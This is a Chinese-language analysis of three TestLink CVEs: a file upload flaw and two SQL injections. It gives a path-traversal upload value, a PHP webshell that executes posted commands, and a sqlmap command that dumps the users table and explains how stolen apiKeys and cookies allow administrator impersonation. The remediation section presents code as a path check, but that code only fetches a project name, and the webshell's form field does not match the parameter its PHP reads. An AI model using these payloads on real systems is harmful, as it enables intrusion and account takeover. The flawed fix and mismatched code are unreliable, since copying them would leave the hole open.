浅析TestLink的三个CVE
字数 1501 2025-08-25 22:58:35
TestLink安全漏洞分析与利用教学文档
1. 漏洞概述
TestLink是一个开源的、基于Web的测试管理和测试执行系统,由PHP编写。在最近的安全审计中发现了以下三个关键漏洞:
- CVE-2020-8639 - 任意文件上传漏洞
- CVE-2020-8637 - SQL注入漏洞(dragdroptreenodes.php)
- CVE-2020-8638 - SQL注入漏洞(planUrgency.php)
2. 任意文件上传漏洞(CVE-2020-8639)
2.1 漏洞分析
漏洞存在于keywordsImport.php文件的init_args方法中:
function init_args(&$dbHandler) {
$_REQUEST = strings_stripSlashes($_REQUEST);
$ipcfg = array("UploadFile" => array(tlInputParameter::STRING_N,0,1),
"importType" => array(tlInputParameter::STRING_N,0,100),
"tproject_id" => array(tlInputParameter::INT_N));
$args = new stdClass();
R_PARAMS($ipcfg,$args);
// [...]
$args->dest = TL_TEMP_PATH . session_id() . "-importkeywords." . $args->importType;
return $args;
}
关键问题:
importType参数未进行路径遍历检查- 用户控制的
importType直接拼接到目标路径$args->dest - 文件通过
move_uploaded_file($args->source, $args->dest)移动
2.2 漏洞利用
攻击步骤:
- 构造恶意
importType参数:/../../../../../logs/2333.php - 上传包含PHP代码的文件
- 文件将被移动到服务器可写目录(如/logs)
Webshell示例:
<html>
<body>
<form method="POST">
<input name="command" id="command" />
<input type="submit" value="Send" />
</form>
<pre>
<?php if(isset($_POST['Hack']))
{
system($_POST['Hack']);
} ?>
</pre>
</body>
</html>
3. SQL注入漏洞(CVE-2020-8637)
3.1 漏洞分析
漏洞位于dragdroptreenodes.php和tree.class.php中:
// dragdroptreenodes.php
function init_args() {
$args=new stdClass();
$key2loop=array('nodeid','newparentid','doAction','top_or_bottom','nodeorder','nodelist');
foreach($key2loop as $key) {
$args->$key=isset($_REQUEST[$key]) ? $_REQUEST[$key] : null;
}
return $args;
}
// tree.class.php
function change_parent($node_id, $parent_id) {
if( is_array($node_id) ) {
$id_list = implode(",",$node_id);
$where_clause = " WHERE id IN ($id_list) ";
} else {
$where_clause=" WHERE id = {$node_id}";
}
$sql = "UPDATE {$this->object_table} SET parent_id = " .
$this->db->prepare_int($parent_id) . " {$where_clause}";
$result = $this->db->exec_query($sql);
return $result ? 1 : 0;
}
关键问题:
nodeid参数未经过滤直接拼接到SQL查询- 当
nodeid为数组时,使用implode连接后直接插入SQL - 当
nodeid为字符串时,直接插入SQL语句
4. SQL注入漏洞(CVE-2020-8638)
4.1 漏洞分析
漏洞位于planUrgency.php和testPlanUrgency.class.php中:
// planUrgency.php
if (isset($_REQUEST['urgency'])) {
$args->urgency_tc = $_REQUEST['urgency'];
}
// testPlanUrgency.class.php
public function setTestUrgency($testplan_id, $tc_id, $urgency) {
$sql = " UPDATE {$this->tables['testplan_tcversions']} SET urgency={$urgency} " .
" WHERE testplan_id=" . $this->db->prepare_int($testplan_id) .
" AND tcversion_id=" . $this->db->prepare_int($tc_id);
$result = $this->db->exec_query($sql);
return $result ? tl::OK : tl::ERROR;
}
关键问题:
urgency参数未经过滤直接插入SQL语句- 其他参数(testplan_id, tc_id)使用了
prepare_int过滤,但urgency未过滤
5. 漏洞利用
5.1 SQL注入利用
对于PostgreSQL数据库:
- 可以进行堆叠注入,利用此漏洞进行提权
对于MySQL数据库:
- 可以使用sqlmap进行数据dump:
python sqlmap.py -u <URL_TESTLINK>/lib/ajax/dragdroptreenodes.php \
--data="doAction=changeParent&oldparentid=41&newparentid=41&nodelist=47%2C45&nodeorder=0&nodeid=47" \
-p nodeid \
--cookie="PHPSESSID=<PHP_SESSION_ID>; TESTLINK1920TESTLINK_USER_AUTH_COOKIE=<USER_AUTH_COOKIE>" \
--dump -D testlink -T users
注意:
- TestLink使用bcrypt存储密码(不可逆)
- 但可以获取apiKey和cookie(明文存储),用于伪造管理员身份
6. 修复建议
6.1 文件上传漏洞修复
应添加路径检查:
$tproj_mgr = new testproject($dbHandler);
$dm = $tproj_mgr->get_by_id($args->tproject_id,array('output' => 'name'));
$args->tproject_name = $dm['name'];
6.2 SQL注入修复
应采用参数化查询或严格过滤所有用户输入:
- 对
nodeid参数使用prepare_int过滤 - 对
urgency参数进行严格过滤或使用预处理语句
7. 参考资源
- TestLink GitHub源码: https://github.com/TestLinkOpenSourceTRMS/testlink-code
- CVE详细信息:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8637
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8638
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8639
- 相关分析文章: https://ackcent.com/blog/testlink-1.9.20-unrestricted-file-upload-and-sql-injection/